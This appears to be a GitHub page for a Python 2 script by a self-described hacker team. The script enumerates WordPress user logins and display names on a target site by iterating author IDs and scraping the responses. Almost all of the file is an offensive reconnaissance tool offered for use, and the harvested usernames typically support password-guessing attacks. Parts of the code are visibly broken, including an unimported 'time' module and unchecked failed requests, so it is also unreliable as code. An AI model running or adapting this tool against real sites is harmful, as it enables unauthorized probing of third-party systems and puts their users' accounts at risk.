-
Notifications
You must be signed in to change notification settings - Fork 6
/
enumerate_users_wordpress_2016.py
150 lines (132 loc) · 5.78 KB
/
enumerate_users_wordpress_2016.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python
# CodeD By ./ChmoD
# Enumerate Users WordPress
# Ex: ./EXploit -s http://site.com.br -n 30
# *** Brazilians Hackers Team ***
import urllib2, urllib, sys, argparse
def banner():
print ("""
`,+@@@+
.+@@@@@@@;
`;@@@@@@@@@@@
+@@@@@@@@@@@@@:
;@@@@@@@@@@@@@@@@
`@@@@@@@@@@@@@@@@@@`
`@@@@@@@@@@@@@@@@@@#
.@@@@@@@@@@@@@@@@@@,
:@@@@@@@@@@@@@@@@@@ .'@@
#@@@@@@@@@@@@@@@@+; .+@@@@@
`@@@@@@@@@@@@@#;;+@+#@@@#:`
#@@@@@@@@@@';'@@@@@@@:`
`@@@@@@@+;;+@@@@@##`
.@@@#;;+@@@@@#+',.,'.
+;;'#@@@@#+;` ,:
.#@@@@#++: @. ...`
`'@@@@#++'. + .#++;;+ +
,@@@@@#++:``::+ `',:+,. ,
`@@@@#, #+` ',.`'. +` `` `, .+
@@:` ,+. ,`:``.: '. .',+++ #
`` #+`++,.`:,`` :`+@@'@@@@' ````
#'`#+:`.,`:` .@@@+@# +`. : `:
#:: +.`,.., `@@,#@':. + : '
#: ` ',:`,, @#`` + + ' `,;
#: ` `:''` @` #:.. , ' #+++:
#: , ;#'# + : `: #++
#; ' `'' , '.
;' ' # `@# *** Brazilians Hackers Team ***
#.; ;` ,#.:;
`+; '. @ ` Cod3D By ./ChmoD
:#; `@: :` `,
.#+; `'+.' + Skype: BrazilObscure
.@++#'+@+@++` ;@. '
`' ., ` #:`# `+.#+ :.
., : @#;.`;`: `#@.
+``,.;`@+,. '#
@' ' ;`@:+`#`;`
`#+ ,'`# :. '
' #. :`#` '`. +
# +. .:+: :`. .
`, +, ..+ '` :
;` #+@:,:#.;`` '
#'##:#+. : `; ;
#. #: `'` :
#, ` . """)
time.sleep(1)
def uniq(lst):
last = object()
for item in lst:
if item == last:
continue
yield item
last = item
def sort_and_deduplicate(l):
return list(uniq(sorted(l, reverse=False)))
def curllib(req, params=None,postdata=None):
headers = { 'User-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0',
'Content-Type': 'application/x-www-form-urlencoded'}
try:
req = urllib2.Request( req, postdata, headers)
req = urllib2.urlopen(req, timeout = 30).read()
except Exception as e:
return False
return req
def sout(s):
sys.stdout.write( s + "\r" )
sys.stdout.flush()
def finder( text, start, end, index = 1 ):
try:
text = text.split(start)[index]
return text.split(end)[0]
except:
return ""
def find_username( html=None ):
if html != None:
return { "user": finder( html, '/author/', '/' ), "name": finder( html, '<title>', '</title>' ).split(',')[0] }
# Main:
parser = argparse.ArgumentParser(description="Wordpress Enumerate Users", epilog="\033[1mCoded by ChmoD \033[0m")
parser.add_argument( '-s', '--site', required=True, default=None, help='target domain or URL')
parser.add_argument( '-n', required=True, type=int, default=None , help='numbers of users to enumerate.')
args = vars(parser.parse_args())
results = []
max_login_len = max_name_len = 0
site = urllib2.urlparse.urlparse( args['site'] )
usern = args['n']
if site:
site = site[0]+"://"+site[1]+"/" if site[2] == "" else site[0]+"://"+site[1]+site[2]
print("[+]: Scanning "+site)
else:
sys.exit("[#]: Wrong SITE formate (ex):\r\nhttp://target.com/")
for x in range( 0, usern ):
sout("[+]: %" + str( 100 / usern*x ) + "\t")
try:
tmp = curllib(site, '', urllib.urlencode({"author":(x+1)}) )#vsend the request
if tmp == False:
pass
tmp = find_username( tmp ) # extract the info from the respond
except:
pass
if len(tmp['user']):
results.append(tmp)
max_login_len = len(tmp['user']) if max_login_len < len(tmp['user']) else max_login_len #get the longest username
max_name_len = len(tmp['name']) if max_name_len < len(tmp['name']) else max_name_len #get the longest name
if not results:
print("[ERROR]: Could not find anything, or something went wrong!")
sys.exit()
results = sort_and_deduplicate(results)#remove duplicate
print("Found "+str( len( results ) )+" users in "+site+"")
login_space = (max_login_len-len("Login")+1)*" "
name_space = (max_name_len-len("Name")+1)*" "
login_bar = ((max_login_len-len("Login")+1)+6)*"-"
name_bar = ((max_name_len-len("Name")+1)+5)*"-"
header = "| Id | Login"+login_space+"| Name"+name_space+"|"
# print the head of the table
print(" +----+"+login_bar+"+"+name_bar+"+")
print(" "+header)
print(" +----+"+login_bar+"+"+name_bar+"+")
# print the
for x in range(0,len(results)):
id_space = (3-len(str(x+1)))*" "
login_space = (max_login_len-len(results[x]['user'])+1)*" "
name_space = (max_name_len-len(results[x]['name'])+1)*" "
print(" | "+str(x+1)+id_space+"| "+results[x]['user']+login_space+"| "+results[x]['name']+name_space+"|")
print(" +----+"+login_bar+"+"+name_bar+"+")